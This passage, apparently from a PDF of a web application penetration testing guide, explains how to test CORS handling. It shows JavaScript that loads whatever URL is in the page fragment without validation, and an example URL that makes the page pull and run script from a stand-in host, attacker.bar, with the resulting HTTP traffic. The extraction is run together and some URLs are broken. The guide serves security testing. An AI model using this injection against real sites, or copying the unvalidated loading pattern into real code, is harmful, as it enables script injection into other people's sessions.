4.0

196Web Application Penetration Testingif(req.readyState==4 && req.status==200) {document.getElementById(“div1”).innerHTML=req.responseText;}}var resource = location.hash.substring(1);req.open(“GET”,resource,true);req.send();For example, a request like this will show the contents of theprofile.php file:http: /example.foo/main.php#profile.phpRequest and response generated by this URL:GET http: /example.foo/profile.php HTTP/1.1Host: example.fooUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;rv:24.0) Gecko/20100101 Firefox/24.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Referer: http: /example.foo/main.phpConnection: keep-aliveGET http: /attacker.bar/file.php HTTP/1.1Host: attacker.barUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;rv:24.0) Gecko/20100101 Firefox/24.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Referer: http: /example.foo/main.phpOrigin: http: /example.fooConnection: keep-aliveHTTP/1.1 200 OKDate: Mon, 07 Oct 2013 19:00:32 GMTServer: Apache/2.2.22 (Debian)X-Powered-By: PHP/5.4.4-14+deb7u3Access-Control-Allow-Origin: *Vary: Accept-EncodingContent-Length: 92Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/htmlInjected Content from attacker.bar HTTP/1.1 200 OKDate: Mon, 07 Oct 2013 18:20:48 GMTServer: Apache/2.2.16 (Debian)X-Powered-By: PHP/5.3.3-7+squeeze17Vary: Accept-EncodingContent-Length: 25Keep-Alive: timeout=15, max=99Connection: Keep-AliveContent-Type: text/html[Response Body]Now, as there is no URL validation we can inject a remote script,that will be injected and executed in the context of the example.foo domain, with a URL like this:http: /example.foo/main.php#http: /attacker.bar/file.phpRequest and response generated by this URL:Tools• OWASP Zed Attack Proxy (ZAP) - https://www.owasp.orgindex.php/OWASP_Zed_Attack_Proxy_ProjectZAP is an easy to use integrated penetration testing tool forfinding vulnerabilities in web applications. It is designed to beused by people with a wide range of security experience and assuch is ideal for developers and functional testers who are newto penetration testing. ZAP provides automated scanners aswell as a set of tools that allow you to find security vulnerabilitiesmanually.ReferencesOWASP Resources• OWASP HTML5 Security Cheat Sheet: https://www.owasporg/index.php/HTML5_Security_Cheat_SheetWhitepapers• W3C - CORS W3C Specification: http://www.w3.org/TR/cors/